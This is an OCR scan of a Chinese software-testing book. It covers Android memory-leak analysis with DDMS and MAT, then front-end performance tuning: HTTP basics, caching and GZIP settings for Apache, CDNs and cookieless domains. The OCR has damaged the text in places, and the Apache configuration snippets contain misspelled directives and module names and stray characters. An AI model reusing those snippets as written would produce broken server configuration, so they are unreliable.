学 习 起 来 很 复杂 ,其 实 是 我 们 没有 按照 一 定 的 步骤 学 习 , 而 是 盲目 地 胡乱 学 
习 , 所 以 即使 有 问题 也 不 知道 该 怎么 分 析 解 决 。 

此 处 我 们 以 DDMS 和 MAT 为 例 介绍 具体 的 分 析 步 又 。 

(1) 运行 被 测 APP 并 持续 操作 。 

(2) 在 DDMS 中 的 VM Heap 标签 页 里 查看 消耗 。 其 中 有 一 个 按钮 
Cause GC, 它 可 以 手动 帮 你 进行 GC, 方 便 观察 内 存 的 回收 情况 。 如 果 多 次 
进行 发 现 内 存 还 是 在 不 断 增 大 ,可 回收 的 越 来 越 少 , 那 就 有 可 能 存在 内 存 泄 
漏 。 当 然 你 也 可 以 通过 data object 中 的 Total Size 来 进行 判断 。 

(3) 当 发 生 内 存 泄漏 或 者 持续 增长 的 时 候 可 以 通过 DDMS 的 Dump 
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hprof file 功能 捕获 内 存 快 照 。 

(4) 通过 命令 hprof-conv [inputfile] [outputfile] 转 化 为 标准 的 hprof 
文 御 。 

(5) 使 用 MAT 打开 标准 的 hprof 文件 并 进行 分 析 , 这 里 需要 提醒 ， 
MAT 并 不 会 主动 告诉 你 是 不 是 有 内 存 泄漏 的 ,需要 我 们 自行 分 析 判 断 。 

(6) 如 果 MAT 也 分 析 不 出 来 什么 问题 ,你 可 以 使 用 命令 dumpsys 
meminfo 观察 下 Native Heap 的 Pss Total 和 Heap Alloc, 如 果 它 们 一 直 在 
增长 那 可 能 就 是 Native 层 出 现 了 问题 ,需要 去 排查 JNI、SO 库 相 关 的 代码 。 


7.8.3 案例 : 隐秘 而 低调 的 内 存 进 漏 (OOMD 


为 了 让 大 家 可 以 自行 练习 ,本 次 我 们 以 Google 官方 提供 的 例子 进行 讲 
解 , 练 习 资料 可 关注 前 言 中 的 微 信 公 众 号 ,在 对 话 框 中 回复 关键 字 “ 大 话 软 
件 测试 ”获取 。 内 存 泄漏 测试 的 整个 过 程 如 下 。 

(1) 在 手机 里 启动 被 测 APP 并 打开 DDMS。 

(2) 在 DDMS 中 选中 com. example. android. hcgallery 之 后 单 击 按钮 
show heap updates, 然 后 切换 到 标签 页 VM Heap ,再 单 击 按钮 Cause GC。 

(3) 不 断 操作 APP, 并 观察 Heap。 经 过 一 段 时 间 的 操作 可 以 发 现 ， 
%Used 和 data object 的 Total Size 都 在 不 断 增加 ,如 图 7.15 所 示 。 在 正常 
情况 下 ,Total Size 会 稳定 在 一 定 范围 内 。 


Info Threads VM Heap Allocation Tracker Sysinfo Network Emulator Control Event Log 


Heap updates will happen after every GC for this client 
ID Heap Size ”Allocated Free %Used # Objects 
1 20711 MB 20.361 MB 357.922KB 98.31% 46,999 Cause GC 


Display: Stats ~ 


Type Count Total Size Smallest Largest Median Average 
free 964 321.273 KB 16B 57.781 KB 40B 341B 
data object 27,618 905.844 KB 16B 1.062 KB 32B 33B 


图 7.15 VM Heap 1 


(4) 即使 进行 Cause GC 之 后 仍 会 继续 增加 ,如 图 7. 16 所 示 。 

(5) 此 时 我 们 怀疑 如 果 长 期 下 去 可 能 有 内 存 泄漏 的 可 能 性 ,为 了 进一步 
分 析 ,我 们 单 击 按钮 Dump HPROF File, 得 到 一 个 后 级 为 hprof 的 文件 ( 生 
成 该 文件 的 时 间 较 长 ,请 耐心 等 待 ) 。 

(6) 使 用 命令 hprof-conv 将 得 到 的 hprof 文件 转化 为 标准 的 hprof ,这 
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Heap updates will happen after every GC for this client 
ID Heap Size Allocated Free %Used # Objects 
1 31.684 MB 31.270MB 423.656KB 98.69% 51.417 CauseGC 


Display: IStats ~ 


Info Threads VM Heap Allocation Tracker Sysinfo Network Emulator Control Event Log 


Type Count TotalSize Smallest Largest Median ”Average 
free 1368 390234 KB 16B 57781KB 56B 292B 
data object 31115 1.085MB 16B 1.062KB 32B 36B 


图 7.16 VM Heap2 


样 MAT 才能 识别 。 


(7) 使 用 MAT 打开 转化 之 后 的 hprof 文件 ,选择 图 中 的 Leak Suspects 


Report 即 可 。 之 后 你 会 看 到 一 个 概要 信息 ,如 图 7.17 所 示 。 它 


只 是 给 出 一 


个 宏观 的 概念 ,告诉 你 某 些 问题 的 占 比 , 如 图 7. 18 所 示 , 对 于 分 析 并 没有 实 


质 性 的 帮助 。 


Getting Started 


| E eeap dump forleak 
| suspects. Report what objects are kept alive and 
why they are not garbage collected. 


O 〇 component Report 
Analyze a set of objects for suspected memory 


Choose one of the common reports below. Press Escape to close this dialog. 


图 7.17 Leak Suspects Report 


System Overview 
-~ Leaks = 


~ Overview 


(a) 332MB 


~—b) 45MB 


Total: 37.7 MB 


图 7.18 概要 信息 


国 (a) Probem Suspect1 
(b) Remainder 


(8) 单 击 柱 形 图 标 按钮 Histogram 会 生成 一 个 视图 , 它 显示 的 是 类 实例 
的 列表 ,其 中 Shallow Heap 代表 对 象 自身 占用 的 内 存 大 小 ,不 包括 它 引用 的 
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对 象 。Retained Heap 代表 当前 对 象 大 小 和 当前 对 象 可 直接 或 间接 引用 到 
的 对 象 的 大 小 总 和 

(9) 在 Shallow pe 列 进行 从 大 到 小 的 排序 ,我 们 发 现 byte[] 占 比 最 
大 ,选中 之 后 右 击 ,依次 选择 List objects 一 with incoming referenes 进行 外 
取 , 如 图 7.19 所 示 。 


Class Name Objects ~ Shallow Heap 
和 苛 <Regex> <Numeric> <Numeric> 


. eo 一 -一 一 - DE con 44m 
ecor0 Ew outoono eterence; 
javalang Strin 。 Showobjects by class » Withincoming references 
eint0 和 Merge Shortest Paths to GC Roots > 
@javalang.refFi Java Basics 

> 

> 


236,480 
198,000 
106,512 
102,016 
96,336 


@javautil.HashN Java Collections 
Qjavalang.Obje Leak Identification 
@androidwidge % Immediate Dominators 


图 7.19 Histogram 视图 


(10) 再 次 按照 Shallow Heap 列 进行 从 大 到 小 的 排序 ,选择 一 个 较 大 的 
对 象 并 依次 展开 它 的 路 径 , 如 图 7. 20 所 示 。 这 里 我 们 关注 自己 写 的 代码 ,也 
就 是 com. example. android. hcgallery. ContentFragment, 发 现 mBitmap 比 
较 可 疑 。 这 种 方法 适合 对 代码 比较 熟悉 的 朋友 。 


D byte[2797568] @ 0x96f8a3a0 B11.%0 "2". S$ 
bi 


.+78 2,797,584 2,797,584| 


v D mBuffer android.graphi 48 2,797,632| 
> mBitm: 中 0x9736 152 168| 
DmBitma ® 0x9754 152 168 

» D mBitmap i rp drawable, i @ 0x973829f0 72 184| 

》 mBitmap android.graphics.drawable.BitmapDrawable @ 0x97547468 72 184| 

» D mBitmap android.graphics.drawable.BitmapDrawable$BitmapState @ 40 40| 

» D mBitmap android.graphics.drawable.BitmapDrawable$BitmapState @ 40 40 

» D value java.util HashMap$HashMapEntry @ 0x9502c850 24 192| 


图 7.20 with incoming references 


(11) 除了 上 述 方法 之 外 你 也 可 以 通过 排除 弱 引 用 来 分 析 , 这 样 能 减少 
干扰 因素 。 先 按照 Retained Heap 从 大 到 小 排序 ,之 后 右 击 最 大 的 ,依次 选 
择 Path To GC Roots->exclude weak references, 得 到 如 图 7. 21 的 数据 。 发 
现 sBitmapCache 这 个 变量 占 的 比例 较 大 ,可 能 有 问题 。 


Class Name Shallow Heap Retained Heap 
分 <Regex> <Numeric> <Numeric> 
707.584 2,797,584 
~ © mBuffer android.graphics.Bitmap @ 0x96d4cc58 48 2797,632 

~ D value java utiL HashMap$HashMapEntry @ Ox96¢ 24 2,797,824 

~ 9 [15] javautilHashMap$HashMapEntry(16] @ ( 80 28,325,776 

~ DtablejavautilHashMap @ 0x950a3c98 48 28,325,824 

四 © sBitmapCache class com exampleandroid 8 28,325,872 


图 7.21 exclude weak references 
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小 强 课 和 莹 


在 Java 中 存在 强 引 用 、 弱 引用 、 软 引用 ,这 里 给 大 家 做 一 个 普及 。 

。 强 引 用 : 垃圾 回收 不 会 回收 它 , 需 要 我 们 主动 设置 为 null。 

。 弱 引 用 : 顾名思义 比较 弱 , 当 垃圾 回收 发 现 它 只 具有 弱 引 用 对 象 
时 ,不 管 当 前 内 存 空间 是 什么 情况 ,都 会 进行 回收 。 

软 引用 : 如 果 它 只 具有 软 引 用 对 象 时 ,内 存 空间 足够 ,垃圾 回收 
器 就 不 会 回收 。 但 如 果 内 存 空间 不 足 了 ,就 会 回收 。 


(12) 之 后 排查 代码 发 现 sBitmapCache 是 static HashMap,mBitmap 使 
用 完成 之 后 没有 recycle 掉 。 

(13) 最 后 修改 代码 ,在 mBitmap != null 时 进行 mBitmap. recycle()。 

这 样 一 步 步 操作 ,不 会 使 人 觉得 混乱 ,而 是 有 规律 可 循 。 另 外 ,有 些 内 
存 泄漏 的 分 析 可 能 没 法 一 次 性 分 析出 来 ,需要 多 次 尝试 ,这 就 考验 大 家 的 耐 
心 了 。 只 要 分 析 有 规律 可 循 ,有 足够 的 耐心 ,任何 难题 都 可 以 解决 。 


7.9 本 章 小 结 


本 章 对 常见 的 移动 APP 非 功 能 测试 的 部 分 测试 点 进行 讲解 ,尤其 对 适 
用 于 大 部 分 测试 团队 的 测试 方法 进行 了 详细 介绍 。 

个 人 认为 ,在 移动 互联 网 的 未 来 发 展 过 程 中 ,对 后 端 服务 以 及 APP 本 身 
的 体 量 优化 会 越 来 越 重要 ,其 他 的 重要 性 会 降低 ,毕竟 以 后 手机 的 CPU 会 
越 来 越 好 ,内 存 也 会 越 来 越 大 ,所 以 APP 对 CPU 和 内 存 的 消耗 度 也 可 以 适 
当 放 开 了 。 但 同时 未 来 使 用 的 人 数 会 不 断 增 加 ,所 以 对 于 后 端的 服务 要 求 

练习 实例 获取 请 扫 “ 前 言 " 中 的 公众 号 二 维 码 , 在 对 话 框 中 回复 关键 字 
“大 话 软 件 测试 ”。 


前 端 性 能 测试 精 要 


第 1 章 中 多 次 提 到 “前 端 性 能 ”这 个 概念 ,也 强调 过 其 重要 性 。 不 管 网 站 
设计 得 有 多 厉害 ,后 端 有 多 厉害 ,对 于 用 户 来 说 全 都 是 无 感知 的 ,用 户 只 关心 
页 面 的 展现 速度 ,所 以 我 们 应 该 抽出 一 些 精 力 放 到 前 端 。 目 前 ,很 多 公司 的 前 
端 团队 都 在 努力 做 这 件 事 。 由 于 测试 方面 的 书籍 很 少 有 写 前 端 性 能 的 ,所 以 
本 章 会 尽 可 能 详细 讲解 。 当 然 , 因 为 自己 的 经 验 和 能 力 有 限 , 难 免 有 不 妥 之 
处 ,还 望 大 家 友好 指正 。 本 章 的 前 端 性 能 调 优 方法 同样 适用 于 H5。 

那 前 端 性 能 的 提升 能 给 我 们 带 来 什么 样 的 好 处 呢 ? 从 《高 性 能 网 站 建 
设 指南 ) 一 书 中 得 知 : 80% 的 最 终 用 户 将 响应 时 间 花 在 页 面 中 的 组 件 上 ,也 
就 是 说 ,如 果 我 们 可 以 将 后 端的 响应 时 间 缩 短 一 半 ,那么 整体 响应 时 间 只 能 
减少 5% 一 10%; 而 如 果 关 注 前 端 ,将 前 端 响应 时 间 缩 短 一 半 , 那 么 整体 响 
应 时 间 可 以 减少 40%~~45%。 是 不 是 你 以 前 从 没 想 到 过 呢 ? 

在 具体 实践 以 及 教学 过 程 中 我 也 发 现 一 个 普遍 的 问题 , 即 很 多 朋友 都 
习惯 性 地 希望 得 到 一 个 准确 的 数字 ,我 总 觉得 这 是 中 国 特色 教育 培养 出 的 
结果 ,总 是 希望 有 一 个 标准 答案 。 不 同 男生 看 待 同一 个 女生 ,有 人 觉得 是 美 
女 , 有 人 就 会 觉得 一 般 ,每 个 人 眼中 的 标准 都 是 不 一 样 ,有 时 候 我 们 不 能 死 
板 地 去 套 标准 。 

对 于 前 端 性 能 来 说 也 一 样 ,我 们 的 目的 不 是 得 到 这 部 分 响应 时 间 的 准 
确 数 据 ,因为 它 会 被 Web 服务 器 、 浏 览 器 解析 机 制 等 诸多 因素 影响 ,而 是 推 
动 更 好 的 前 端 性 能 ,减少 总 响应 时 间 ,每 一 次 的 优化 都 能 得 到 进步 。 
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8.1 HTTP 简介 


要 学 习 前 端 性 能 ,必须 对 HTTP 协议 有 所 了 解 , 写 到 这 里 我 的 心情 是 沉 
重 的 ,因为 我 发 现 很 多 小 白 朋友 根本 不 了 解 HTTP 协议 。 

下 面 简要 讲解 HTTP 协议 。HTTP(Hyper Text Transfer Protocol)， 
也 叫 超 文本 传输 协议 ,是 互联 网 上 应 用 最 为 广泛 的 一 种 网 络 协 议 ,也 是 性 能 
测试 中 接触 最 多 、 最 常见 的 一 种 协议 。 设 计 HTTP 最 初 的 目的 是 提供 一 种 
发 布 和 接收 HTML 页 面 的 方法 。 通 常 ,由 HTTP 客户 端 发 起 一 个 请 求 , 建 
立 一 个 到 服务 器 指定 端口 (默认 是 80 端口 ) 的 TCP 连接 。HTTP 服务 器 则 
在 那个 端口 监听 客户 端 发 送 过 来 的 请 求 。 一 旦 收 到 请 求 ,服务 器 (向 客户 
端 ) 发 回 一 个 状态 行 (如 “HTTP/1. 1 200 OK”) 和 (响应 的 ) 消 息 , 消 息 的 消 
息 体 可 能 是 请 求 的 文件 ,错误 消息 或 者 其 他 一 些 信息 。 其 中 HTTP 的 请 求 
和 响应 数据 结构 如 图 8. 1 所 示 。 


请 求 行 请 求 头 请 求 体 


响应 状态 响应 头 响应 体 


图 8.1 _ HTTP 请求 和 响应 数据 结构 


我 们 在 日 常 工作 中 经 常 碰 到 的 响应 返回 的 200、404 等 信息 ,就 是 
HTTP 的 返回 状态 码 。 常 见 的 状态 码 如 下 。 

。 1X X 普 通 消息 : 这 一 类 型 的 状态 码 ,代表 请 求 已 被 接受 ,需要 继续 处 理 。 
2X XX 处 理 成 功 : 这 一 类 型 的 状态 码 ,代表 请 求 已 成 功 被 服务 器 接收 


并 处 理 。 
。 3X XX 重 定向 : 这 类 状态 码 代 表 需 要 客户 端 采取 进一步 的 操作 才能 
完成 请 求 。 


4X XX 请 求 错 误 : 这 类 的 状态 码 代 表 了 客户 端 看 起 来 可 能 发 生 了 错 
误 ,妨碍 了 服务 器 的 处 理 。 

5X XX 服务 器 错误 : 这 类 状态 码 代 表 了 服务 器 在 处 理 请 求 的 过 程 中 
有 错误 或 者 异常 状态 。 
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更 多 HTTP 协议 的 介绍 请 自行 Google, 或 查看 网 络 协 议 方面 的 书籍 。 
对 于 测试 工程 师 来 说 ,至 少 基本 的 HTTP 知识 是 一 定 要 知 辐 xaep 
道 的 。 电 : 
扫 右 侧 二 维 码 可 以 观看 视频 ,详解 HTTP 请 求 和 响应 。 


8.2 HTTP 请 求 和 响应 的 过 程 


较为 完整 的 HTTP 的 请 求 和 响应 的 大 致 过 程 : 客户 端 发 出 请 求 , 经 过 
网 络 、 中 间 层 等 处 理 , 最 终 从 服务 器 端 获取 到 数据 ,然后 再 返回 给 客户 端 , 客 
户 端 接收 到 之 后 进行 处 理 \ 演 染 并 展现 给 用 户 。 具 体 的 过 程 如 图 8. 2 所 示 ， 
我 相信 很 多 朋友 从 来 没有 通过 画图 理解 HTTP 请 求 和 响应 的 过 程 ,没有 这 
条 主线 很 难 理解 前 端 性 能 的 优化 。 


客户 端 请 求 
读 取 缓 存 等 待 响应 
处 理 数据 = 返回 数据 
演 染 元 素 


图 8.2 HTTP 请 求 和 响应 的 过 程 


从 图 8.2 中 我 们 也 可 以 看 到 ,如 果 有 缓存 则 不 会 再 向 服务 器 端 获取 数 
据 , 而 是 利用 本 地 缓存 直接 进行 处 理 和 泻 染 。 

了 解 HTTP 请 求 和 响应 的 过 程 有 助 于 分 析 如 何 优化 前 端 性 能 ,因为 你 
可 以 知道 它 的 整体 流向 和 关键 的 转折 点 ,后续 针 对 关键 点 进行 优化 即 可 。 


8.3 前 端 性 能 优化 方法 


前 端 性 能 优化 的 方法 很 多 ,鉴于 自己 的 经 验 有 限 , 不 可 能 全 部 讲 到 ,这 
里 重点 介绍 之 前 项 目 中 使 用 到 的 一 些 优化 方法 ,更 多 内 容 请 参考 附录 中 提 
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8.3.1 减少 HTTP 请 求 数 


减少 HTTP 请 求 的 数量 可 以 较 好 地 提升 性 能 。 可 能 有 朋友 会 觉得 如 果 
用 长 连接 就 不 需要 担心 这 个 问题 了 ,其 实 不 对 。 首 先 , 短 连接 情况 下 ,每 个 
请 求 都 要 经 历 建立 连接 ,发送 请 求 ,等待 响应 . 断 掉 连 接 的 过 程 ,这 时 候 减 少 
HTTP 请 求 数 是 十 分 必要 的 ; 其 次 ,即使 你 使 用 长 连接 ,浏览 器 和 服务 器 之 
间 建 立 的 连接 数 也 是 有 限 的 ,不 可 能 让 你 无 限 使 用 。 

常用 的 减少 HTTP 请 求 数 的 方法 有 如 下 几 种 。 


1. 合并 图 片 


当 图 片 比较 多 的 时 候 , 可 以 合并 为 一 张大 图 ,从 而 减少 HTTP 请 求 数 。 
当然 ,图 片 是 否 能 进行 合并 要 根据 实际 情况 来 决定 ,例如 ,经 常 变 化 的 可 能 
就 不 太 适 合 ,变化 相对 稳定 的 就 可 以 考虑 。 

合并 成 大 图 除了 能 减少 HTTP 请 求 数 外 ,还 可 以 充分 利用 缓存 来 提升 
性 能 。 合 并 大 图 一 般 使 用 CSS Sprites 技术 来 做 处 理 。 图 8. 3 相信 大 家 非常 
熟悉 , 它 就 是 我 们 天 天 接触 的 QQ 聊天 表情 。QQ 聊天 中 的 表情 在 鼠标 没有 
经 过 的 时 候 ,都 是 从 一 张 图 片上 绝对 定位 出 来 的 ,只 有 在 鼠标 放 到 某 一 张 表 
情 上 时 , 才 会 从 服务 器 上 下 载 图 片 ,这 样 就 达到 了 减少 HTTP 请 求 数 和 下 载 
量 的 目的 。 


国 国 转轴 四 前 四 抽 和 起 人 @@ 国 因 四 | 
DOGAOGDPOLOO006 
ES 
国 轩 四 胃 交 由 国 四 四 四 四 全 
四 电台 邹 四 早春 全 晴信 是 区 
cr Ro I EEN 


图 8.3 QQ 聊天 表情 
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2. 合并 压缩 CSS 样式 表 和 JS 脚本 


了 解 了 合并 图 片 之 后 再 来 理解 合并 CSS 样式 表 和 JS 脚本 就 非常 容易 
了 ,它们 的 共同 目的 都 是 为 了 减少 HTTP 请 求 数 。 也 许 我 们 在 学 性 能 测试 
和 自动 化 测试 的 时 候 会 比较 看 重 拆 分 的 思想 ,不断 地 解 耦 ,而 这 里 却 恰恰 相 
反 , 所 以 技术 这 个 东西 其 实 很 神奇 ,不 经 意 间 就 会 给 你 带 来 意 想 不 到 的 
“惊喜 ”。 

常用 的 合并 压缩 CSS 样式 表 和 JS 脚本 的 工具 有 Minify、 YUI 


各 
o 


Compressor 等 
3. 去 掉 不 必要 的 请 求 


有 时 候 开发 人 员 在 写 代 码 或 者 系统 升级 之 后 会 残留 不 少 无 效 的 请 求 连 
接 , 这 些 无 效 连接 对 页 面 并 没有 实际 作用 ,其 实 都 是 废弃 的 连接 ,但 如 果 没 
有 剔除 , 它 还 是 会 跟随 页 面 的 打开 进行 请 求 的 ,从 而 也 增加 了 HTTP 的 请 求 
数 。 至 于 哪些 是 无 效 的 连接 请 求 , 可 以 通过 Firebug 等 工具 查看 ,我们 会 在 
后 续 的 章节 中 进行 详细 讲解 。 


4. 充分 利用 缓存 


我 们 这 里 说 的 缓存 是 客户 端 侧 缓存 ,你 也 可 以 理解 为 是 浏览 器 的 组 
存 , 还 有 一 种 是 服务 器 端 侧 缓存 ,如 Memcache 等 , 它 不 在 我 们 的 讨论 范围 
内 。Expires 头 信息 是 客户 端 侧 缓存 的 重要 依据 ,格式 类 似 Expires: sun， 
20 Dec 2015 23: 00: 00 GMT。 如 果 当 前 时 间 小 于 Expires 指定 的 时 间 , 浏 
览 器 就 会 从 缓存 中 直接 获取 相关 的 数据 信息 或 HTML 文件 ; 如 果 当 前 时 
间 大 于 Expires 指定 的 时 间 , 则 浏览 器 会 向 服务 器 发 送 请 求 来 获取 相关 数 
据 信息 。 

所 以 ,在 开发 时 要 注意 别 忘 记 添 加 Expires 头 信 息 , 除 此 之 外 ,对 于 能 够 
缓存 的 元 素 要 提取 出 来 统一 处 理 , 保 证 URI 的 一 致 。 

此 处 以 Apache 为 例 , 想 要 设置 Expires 需要 修改 Apache 的 配置 文件 
httpd. conf, 详 见 以 下 代码 。 


# 去掉 本 代码 前 面 的 注释 
LoadModule expires module modules/mod expires. so 
并 以 下 是 设置 各 种 资源 的 过 期 时 间 


< IfModule expires module> 
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ExpiresActive On 


ExpiresDefault "access plus 12 month" 

ExpiresByType text/html "access plus 12 months" 

ExpiresByType text/css "access plus 12 month" 

ExpiresByType text/javascript "access plus 1 year" 

ExpiresByType image/gif "access plus 12 month" 

ExpiresByType image/jpeg "access plus 12 month" 

ExpiresByType image/ico "access plus 12 month" 

ExpiresByType image/jpg "access plus 12 months" 

ExpiresByType image/png "access plus 12 months" 

ExpiresByType application/x- javascript "access plus 12 month" 

ExpiresByType application/x - shockwave - flash "access plus 12 month" 

ExpiresByType application/javascript "access plus 1 year" 

ExpiresByType video/x — flv "access plus 12 months" 
</IfModule> 


设置 完成 后 ,重启 Apache 即 可 生效 。 


8.3.2 图 片 优 化 


图 片 的 优化 也 是 非常 重要 的 ,现在 的 网 站 都 充斥 着 大 量 的 图 片 ,所 以 图 
片 的 展现 体验 直接 影响 用 户 的 体验 。 除 了 在 8. 3. 1 节 中 讲 过 的 合并 成 大 图 
外 ,还 有 其 他 的 图 片 优化 方法 。 常 见 的 图 片 优化 方法 有 如 下 几 种 。 

(1) 尽 可 能 地 使 用 PNG 格式 的 图 片 , 它 相对 来 说 大 小 较 小 。 

(2) 对 于 不 同 的 图 片 格式 ,在 上 线 之 前 最 好 进行 一 定 的 优化 。 例 如 ， 
PNG 格式 的 图 片 可 以 使 用 Pngcrush 来 优化 ,JPG 格式 的 图 片 可 以 使 用 
Jpgtran 来 优化 ,GIF 格式 的 图 片 可 以 使 用 Gifsicle 来 优化 。 

(3) 图 片 的 延迟 加 载 , 也 称 赖 加 载 。 当 我 们 访问 一 个 有 大 量 图 片 的 页 面 
时 ,第 一 屏 图 片 可 能 都 会 很 快 加 载 出 来 ,如 果 不 往 下 滚动 屏幕 ,那么 下 面 的 
图 片 就 不 会 加 载 出 来 , 当 往 下 滚动 屏幕 时 ,下 面 的 图 片 才 会 随 之 加 载 。 这 样 
就 避免 了 访问 存在 大 量 图 片 的 页 面 时 ,一 次 性 加 载 太 多 图 片 而 导致 页 面 的 
展现 速度 过 慢 , 影 响 用 户 体验 。 

当然 ,还 有 很 多 其 他 的 优化 方法 ,这 里 我 们 就 不 展开 介绍 了 。 图 片 的 优 
化 还 有 一 个 重要 的 目的 就 是 减少 传输 量 ,毕竟 传输 一 张大 图 和 传输 一 张 小 
图 ,在 效率 上 来 说 还 是 有 差别 的 。 


8.3.3 使 用 CDN 


CDN 的 全 称 是 Content Delivery Network, 即 内 容 分 发 网 络 。 它 的 基本 
思路 是 尽 可 能 避 开 互联 网 上 有 可 能 影响 数据 传输 速度 和 稳定 性 的 瓶颈 和 环 
节 , 使 内 容 传输 得 更 快 . 更 稳定 。 通 过 在 网 络 各 处 放置 节点 服务 器 所 构成 的 
在 现 有 的 互联 网 基础 之 上 的 一 层 智能 虚拟 网 络 ,CDN 系统 能 够 实时 地 根据 
网 络 流量 和 各 节点 的 连接 负载 状况 以 及 到 用 户 的 距离 和 响应 时 间 等 综合 
信息 ,将 用 户 的 请 求 重新 导向 离 用 户 最 近 的 服务 节点 。 其 目的 是 使 用 户 可 
就 近 取 得 所 需 内 容 , 解 决 Internet 网 络 拥挤 的 状况 ,提高 用 户 访 问 网 站 的 响 

总 结 : CDN 就 是 让 用 户 到 离 他 最 近 的 服务 节点 上 获取 数据 ,从 而 提升 
网 站 的 响应 速度 。CDN 主要 用 于 发 布 静态 内 容 , 如 图 片 JS`CSS、Flash 等 。 

中 国 现在 有 三 大 运营 商 一 一 联通 、 移 动 . 电 信 , 他 们 之 间 并 没有 很 好 的 
网 络 通 信 机 制 ,因此 分 布 在 这 三 个 不 同 运 营 商 下 的 用 户 相互 访问 时 就 有 可 
能 出 现 网 络 不 畅 的 情况 。 为 了 提升 用 户 体验 和 前 端 性 能 ,很 多 公司 都 开始 
购买 和 部 署 CDN 服务 节点 ,这 也 是 顺 其 自然 的 事情 。 


8.3.4 开启 GZIP 


GZIP 可 理解 为 压缩 ,这 也 是 现在 使 用 最 普遍 的 数据 压缩 格式 ,用 于 压 
缩 使 用 Internet 传输 的 所 有 文本 类 资源 ,如 HTML、CSS、JS 等 。 开 启 GZIP 
所 带 来 的 效果 也 是 很 显著 的 ,例如 ,在 利用 QQ 传送 大 文件 的 时 候 , 压 缩 之 
后 的 传送 速度 明显 快 于 压缩 之 前 。 

开启 GZIP 的 方法 也 很 简单 ,到 对 应 的 Web 服务 配置 文件 中 设置 一 下 
即 可 ,此 处 以 Apache 为 例 ,在 配置 文件 httpd. conf 中 添加 如 下 代码 。 


车 去 掉 以 下 三 个 LoadModule 代码 前 面 的 注释 
LoadModule deflate_module modules/mod deflate. so 
LoadModule headers_module modules/mod _ headers. so 
LoadModule deflate module modules/mod deflate. so 
<IfModule mod deflate.c> 

车 压缩 级 别 ,不 要 设置 太 高 ,否则 会 占用 太 多 的 CPU 


DeflateCompressionLevel 7 
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AddOutputFilterByType DEFLATE text/html text/plain text/xml application/x 一 
httpd - php 

RddOutputFilter DEFLATE css js 

</IfModule> 


配置 完成 后 重启 服务 就 可 以 生效 了 ,如 果 想 验证 一 下 ,可 以 通过 
Firebug 等 工具 查看 请 求 和 响应 。 如 果 请 求 头 内 包含 “Acceptr-Encoding: 
gzip ,deflate,sdch”, 则 表示 当前 请 求 支 持 的 压缩 格式 ; 如 果 响 应 头 内 包含 
“Content-Encoding:gzip”, 则 表示 响应 内 容 已 经 进行 了 GZIP 压缩 。 


8.3.5 样式 表 和 JS 文件 的 优化 


除了 之 前 提 到 的 对 于 CSS 样式 表 和 JS 脚本 的 合并 压缩 外 ,它们 在 页 面 
中 的 存放 位 置 也 是 有 讲究 的 。 一 般 我 们 会 把 CSS 样式 表 文 件 放 到 页 面 的 头 
部 ,如 放 在 < head > 标签 中 ,这 样 可 以 让 CSS 样式 表 尽 早 地 完成 下 载 ,浏览 器 
也 尽快 地 开始 绘制 和 显示 页 面 元 素 。 

那 为 什么 不 建议 放 到 页 面 的 尾部 呢 ? 因为 浏览 器 的 加 载 是 有 序 的 ,是 
从 上 而 下 的 ,把 CSS 样式 表 放 在 页 面 底部 有 可 能 在 浏览 器 中 暂停 内 容 的 有 
序 加 载 ,从 而 增加 空白 页 面 的 产生 概率 。 

对 于 JS 脚 本 文件 ,一 般 我 们 把 它 放 到 页 面 的 尾部 。 将 JS 脚本 文件 放 到 
页 面 尾 部 的 好 处 就 是 ,可 以 使 得 页 面 的 其 他 元 素 尽快 显示 ,让 JS 脚本 文件 的 
下 载 和 执行 “ 悄 无 声息 ”地 进行 。 例 如 ,我 们 打开 一 个 首页 可 以 快速 地 看 到 
页 面 的 所 有 内 容 , 至 少 从 感官 上 而 言 会 觉得 不 错 。 这 样 的 话 即 使 最 后 在 下 
载 和 执行 JS 脚本 文件 时 有 了 错误 ,只 要 用 户 不 去 主动 触发 就 不 太 会 影响 
用 户 5 

但 是 有 些 时 候 把 所 有 JS 脚本 移 到 页 面 尾 部 可 能 也 不 太 容 易 。 例 如 ,如 
果 脚 本 中 使 用 了 document. write 来 写 入 页面 内 容 , 它 就 不 能 被 放 到 页 面 尾 
部 了 。 所 以 ,在 真正 优化 的 时 候 要 综合 考虑 ,不 一 定 非得 把 所 有 JS 脚本 都 调 
整 到 最 优 ,只 要 让 综合 性 能 达到 预期 便 可 。 


8.3.6 使 用 无 cookie 域名 


无 cookie 域名 的 概念 : 当 发 送 一 个 请 求 的 时 候 ,同时 还 要 请 求 一 张 静 态 
的 图 片 和 发 送 cookie 时 ,服务 器 对 于 这 些 cookie 不 会 做 任何 使 用 ,也 就 是 说 
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这 些 cookie 没有 什么 用 , 没 必要 随 请 求 一 同 发 送 。 例 如 ,大 家 熟知 的 聚 美 优 
品 网 站 ,以 前 在 访问 首页 时 候 的 请 求 类 似 图 8. 4( 因 为 当时 我 并 没有 保留 截 
图 ,所 以 这 里 以 本 地 的 示例 程序 做 说 明 ) ,一些 静态 资源 的 路 径 都 是 存放 在 
主 路 径 下 的 。 这 样 就 有 可 能 造成 上 面 说 的 现象 。 


图 8.4 旧 网 站 的 访问 请 求 


那 我 们 如 何 解决 这 样 的 问题 呢 ? 你 可 以 创建 一 个 子 域名 并 用 它 来 存放 
所 有 项 态 内 容 。 

如 果 你 的 域名 是 www. xiaoqiang. com, 你 可 以 在 static. xiaoqiang. com 
上 存放 静态 内 容 。 但 是 ,如 果 你 不 是 在 www. xiaoqiang. com 上 而 是 在 顶级 
域名 xiaoqiang. com 上 设置 了 cookie, 那 么 即使 你 使 用 static. xiaoqiang. 
com,cookie 仍然 会 随同 请 求 一 起 发 送 , 这 时 候 你 需要 再 重新 购买 一 个 新 的 
域名 来 存放 静态 内 容 。 图 8. 5 是 聚 美 优 品 网 站 现在 请 求 的 抓 取 , 可 以 看 到 该 
网 站 就 是 把 静态 内 容 放 到 了 一 个 新 域名 上 。 


GET header_newiconlLpng 200 OK a3.jmstatic.com 
围 GET header_spritesi.png 200 OK a3.jmstatic.com 
GET logo_new_v1jpg 200 OK pO.jmstatic.com 
GET nav_new_linejpg 200 OK a0.jmstatic.com 
GET popheadarrowO1.png 200 OK a3.jmstatic.com 


困 GET 575elacd55c1d_1920 539 2000K pl2.jmstatic.com 


图 8.5 新 网 站 的 访问 请 求 


8.3.7 前 端 代 码 结构 优化 


上 面 对 于 前 端 性 能 的 优化 方法 都 是 侧重 于 页 面 元 素 、 布 局 等 方面 的 ， 
并 没有 提 及 前 端 代码 结构 的 内 容 。 其 实 优 化 前 端 代码 的 结构 也 是 非常 重 
